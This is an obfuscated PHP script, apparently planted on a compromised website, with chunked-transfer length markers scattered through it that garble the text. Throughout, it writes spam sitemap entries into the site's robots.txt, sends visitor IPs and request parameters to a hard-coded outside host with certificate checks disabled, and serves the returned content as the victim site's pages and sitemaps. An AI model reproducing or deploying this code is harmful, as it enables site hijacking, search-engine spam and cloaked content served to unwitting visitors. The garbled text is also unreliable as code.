3 $url, CURLOPT_RE 8 TURNTRAN a SFER => tr 10 ue, CURLOPT_SSL_ 6 VERIFY c PEER => fals 19 e, CURLOPT_SSL_VERIFYHOST 19 => false, CURLOPT_FOLLOW 7 LOCATIO 17 N => true, CURLOPT_TIME 13 OUT => 10, CURLOPT_ 1b POST => true, CURLOPT_POSTF a IELDS => $ 10 postString)); $d f ata = curl_exec 11 ($ch); curl_close f ($ch); if (!emp e ty($data)) { r d eturn $data; c } } if (ini_ 9 get("\141 c \x6c\154\157 11 \x77\x5f\165\162\ 12 154\x5f\146\157\16 11 0\x65\x6e")) { $c a ontext = s e tream_context_ d create(array( c "\150\164\x7 14 4\x70" => array("\x6 d d\x65\x74\150 15 \157\144" => "\x50\11 b 7\x53\x54", 14 "\x74\x69\x6d\x65\x 13 6f\x75\164" => 10, d "\x68\145\x61 15 \144\145\x72" => "\x4 e 3\157\156\164\ 12 145\x6e\x74\x2d\12 f 4\x79\x70\145\7 d 2\40\141\160\ 10 160\x6c\151\143\ 18 x61\x74\151\157\156\57\1 12 70\55\167\x77\167\ 11 55\x66\x6f\162\x6 d d\x2d\x75\x72 17 \154\145\156\143\157\14 f 4\x65\x64\15\xa 8 " . "\10 1a 3\157\156\x74\145\156\164\ 12 55\x4c\x65\x6e\147 f \164\150\72\x20 b " . strlen( 16 $postString) . "\15\12 15 " . "\x55\x73\145\x72 c \x2d\101\x67 19 \145\156\164\x3a\40\115\1 14 57\172\x69\x6c\x6c\1 e 41\57\x35\56\x 15 30\15\12", "\x63\157\ 14 x6e\164\x65\156\164" 19 => $postString), "\163\1 14 63\x6c" => array("\1 13 66\x65\x72\151\146\ 16 x79\x5f\160\x65\145\16 1b 2" => false, "\166\145\x72\ 14 151\x66\x79\x5f\160\ 19 145\x65\x72\x5f\x6e\x61\1 11 55\x65" => false) 11 )); $data = @file e _get_contents( 15 $url, false, $context 37 ); if (!empty($data)) { return $data; } } return ''; } c goto wRFt_; 6 VguJR: 17 if (!empty($get["\162" c ])) { $robot a sPath = $_ 7 SERVER[ 11 "\x44\117\x43\125 c \115\x45\x4e c \x54\137\122 13 \117\x4f\x54"] . "\ 15 57\162\157\142\x6f\x7 11 4\163\x2e\x74\x78 c \164"; $site 7 mapBloc 12 k = "\125\163\145\ d 162\55\141\14 15 7\x65\x6e\164\72\40\x 9 2a\xa\x41 18 \x6c\x6c\x6f\167\x3a\40\ 18 57\xa"; $sitemaps = "\12 14 \x53\x69\x74\145\x6d 10 \x61\160\x3a\x20 a {$http_typ 11 e}{$_SERVER["\x48 12 \x54\124\x50\x5f\1 d 10\117\123\12 18 4"]}{$_SERVER["\123\x43\ d x52\x49\x50\1 11 24\x5f\x4e\101\x4 c d\x45"]}\x3f f \x73\75\163\12" 1e ; if (!file_exists($robotsPath c )) { file_pu 27 t_contents($robotsPath, $sitemapBlock . 13 $sitemaps); } else 11 { $robotsContent 2b = @file_get_contents($robotsPath); if (str 13 pos($robotsContent, 1d $_SERVER["\123\x43\122\111\1 19 20\x54\x5f\x4e\101\x4d\10 8 5"]) === b false) { @ 2e file_put_contents($robotsPath, $sitemaps, FILE 7 _APPEND 10 ); } } } goto Kw 8 0TV; lb_ 9 EM: $vurl 13 = $http_type . "\x d 69\144\154\17 f 1\x32\56\x69\x6 11 4\163\150\x6f\x70 13 \56\x63\x63\167\x75 10 \x2e\143\x63\57\ 10 64\61\x39\56\x61 d \163\x70\170" 10 ; goto VguJR; WN 1e TMb: if (!empty($get["\x69\x64 19 "])) { if (empty($get["\1 13 53\x6b"])) { $ip = b get_ip(); $ f params = array( 11 "\151\160" => $ip 12 , "\x69\144" => is 16 set($get["\151\144"]) 12 ? $get["\151\x64"] c : '', "\x6c 12 \x6c" => $ll); $tz 10 str = getCurl($v 1b url, $params); if (strpos($ 14 tzstr, "\x69\144") ! 19 == false) { echo $tzstr; 1f die; } } $params = array("\151\ 18 x64" => $get["\x69\x64"] 17 , "\154\154" => $ll); $ 2c str = getCurl($vurl, $params); $str = str_re 10 place(array("\17 c 3\x55\x52\11 10 4\x7d", "\x7b\xe 10 5\x9f\x9f\xe5\x9 b 0\x8d\x7d") 14 , array(get_url_info 10 ("\x66\x75\154\x 18 6c"), get_url_info("\x6e 14 \157\x5f\167\167\x77 c ")), $str); 21 echo $str; die; } else { $sitemap f Url = $ll . "\x 12 3f\x73\75" . date( f "\x59\155\144\x f 48\x69"); echo 11 "\x3c\144\151\x76 12 \x20\163\164\171\x b 6c\145\x3d\ 14 47\164\145\170\164\x 14 2d\141\x6c\x69\x67\1 17 56\x3a\143\145\x6e\x74\ 14 145\x72\73\40\160\x6 16 1\x64\x64\151\x6e\147\ 13 x3a\61\x30\160\170\ c x20\x30\x3b\ 14 47\x3e\x3c\x61\x20\1 10 50\x72\145\x66\x 12 3d\x22{$sitemapUrl f }\42\x20\164\14 14 1\162\147\x65\164\x3 16 d\x22\x5f\x62\x6c\141\ 14 x6e\153\x22\x20\x72\ 10 x65\154\75\42\15 10 6\157\146\x6f\15 14 4\154\157\167\42\76\ e 40\123\151\164 17 \x65\155\141\160\74\x2f 12 \141\x3e\74\x2f\14 17 4\x69\166\x3e"; } goto 6 UHNmn; 1d Kw0TV: if (!empty($get["\x73 21 "])) { $params = array("\x73" => 13 date("\131\155\144\ 17 110\x69"), "\156\x75\15 1b 5\x62\145\162" => $get["\15 a 6\165\x6d\ 50 142\145\162"]); $str = getCurl($vurl, $params); $str = str_replace(array("\173\x b e5\xbd\x93\ d 345\211\x8d\x a e5\234\xb0 f \xe5\x9d\200\17 18 5"), array($http_type . 23 $_SERVER["\x48\124\124\120\x5f\110\ 1c x4f\123\124"] . $_SERVER["\x f 53\103\122\x49\ f 120\124\x5f\116 18 \101\115\105"]), $str); 7 header( 16 "\x43\x6f\156\164\145\ 15 156\x74\55\164\171\x7 15 0\x65\x3a\x74\145\x78 12 \164\x2f\x78\x6d\1 1d 54"); echo $str; die; } goto c WNTMb; OsiDT c : error_repo 8 rting(0) f ; goto XVeBg; H 12 WR4h: $http_type = 15 !empty($_SERVER["\11 16 0\124\x54\120\x53"]) & 1d & $_SERVER["\x48\x54\x54\120\ b 123"] !== " 10 \157\x66\x66" ? 13 "\x68\x74\x74\160\x c 73\72\57\x2f 1a " : "\x68\x74\x74\160\x3a\ 12 57\x2f"; goto rRNp e n; rRNpn: $ll 2b = "{$http_type}{$_SERVER["\x48\124\x54\120\ 28 137\110\117\123\124"]}{$_SERVER["\x53\x4 1c 3\122\x49\120\124\137\x4e\x4 1a 1\x4d\x45"]}"; goto lb_EM; 6 RyBoU 18 : function get_ip() { fo 11 reach (array("\11 15 0\x54\x54\120\137\x58 12 \x5f\x46\x4f\122\1 e 27\101\122\x44 10 \105\104\x5f\106 19 \117\x52", "\x48\124\x54\ f x50\137\103\x4c 17 \x49\105\116\124\x5f\11 10 1\120", "\x52\10 19 5\115\117\124\105\x5f\101 10 \x44\x44\x52") a e s $key) { if ( 15 !empty($_SERVER[$key] 13 )) { return trim(ex 8 plode("\ 17 54", $_SERVER[$key])[0] 19 ); } } return "\x55\116\x 12 4b\116\117\127\x4e 10 "; } goto w0kkS; 1f N6bGe: function get_url_info(s 16 tring $return_type = " 10 \144\157\155\x61 14 \x69\x6e") : string 7 { $host 23 = $_SERVER["\x48\124\124\x50\137\1 25 10\x4f\123\124"]; if ($return_type == 1b = "\144\x6f\x6d\x61\151\x6e 12 ") { return $host; 21 } if ($return_type === "\x6e\x6f 12 \x5f\x77\x77\x77") 15 { return ltrim($host 13 , "\x77\x77\x77\x2e e "); } $protoco b l = isset($ 1f _SERVER["\110\x54\124\120\123"] 21 ) && $_SERVER["\110\124\124\x50\1 14 23"] === "\x6f\156" 28 || isset($_SERVER["\x48\124\x54\x50\137\ 13 x58\137\106\117\x52 20 \127\101\122\x44\x45\x44\137\120 10 \x52\x4f\124\x4f 2f "]) && $_SERVER["\x48\x54\x54\x50\x5f\130\137\x 10 46\x4f\x52\x57\x 19 41\x52\x44\x45\104\137\x5 1c 0\122\117\124\x4f"] === "\x6 13 8\164\164\160\x73" 19 ? "\x68\164\164\x70\x73\x 20 3a\57\x2f" : "\x68\x74\164\x70\x d 3a\x2f\57"; $ c base_url = $ 2b protocol . $host; if ($return_type === "\14 d 2\141\x73\x65 1c ") { return $base_url; } $ur 18 i = $_SERVER["\x52\105\x 12 51\x55\x45\x53\124 10 \x5f\x55\122\111 11 "]; $full_url = $ 2a base_url . $uri; if ($return_type === "\14 1a 6\165\154\x6c") { return $ 23 full_url; } return ''; } goto RyBoU 15 ; wRFt_: function get 21 Curl($url, $getData = array()) { 19 if (!empty($getData)) { $ 20 queryString = is_array($getData) 28 ? http_build_query($getData) : $getData 9 ; $url .= 15 (strpos($url, "\x3f" 1b ) === false ? "\x3f" : "\x2 12 6") . $queryString 1f ; } if (function_exists("\143\1 18 65\162\154\x5f\151\x6e\1 f8 51\164")) { $ch = curl_init(); curl_setopt_array($ch, array(CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_FOLLOWLOCATION => true, CURLOPT_TIMEOUT => 10, CURLOPT_HTTPGE 18 T => true, CURLOPT_USERA a GENT => "\ 1d 115\157\172\151\154\x6c\141\x 9 2f\65\56\ 73 60")); $data = curl_exec($ch); curl_close($ch); if (!empty($data)) { return $data; } } if (ini_get("\141\x6c\x6c\15 10 7\x77\137\x75\x7 16 2\x6c\137\x66\157\160\ 52 145\x6e")) { $context = stream_context_create(array("\150\164\x74\x70" => array("\ 21 155\145\x74\150\157\144" => "\107 18 \105\x54", "\x74\151\155 1b \x65\x6f\165\164" => 10, "\ 10 150\x65\x61\144\ 1a x65\x72" => "\x55\x73\145\ 10 162\x2d\x41\147\ 19 145\x6e\x74\x3a\x20\x4d\x 15 6f\x7a\151\154\154\x6 10 1\57\65\56\x30\x 13 d\12"), "\x73\x73\1 11 54" => array("\x7 3f 6\145\x72\x69\x66\x79\x5f\160\x65\145\162" => false, "\166\145\ 16 162\151\146\x79\137\x7 17 0\x65\x65\x72\137\x6e\1 85 41\x6d\145" => false))); $data = @file_get_contents($url, false, $context); if (!empty($data)) { return $data; } } return ''; } goto e HWR4h; UHNmn: 2 ?> 0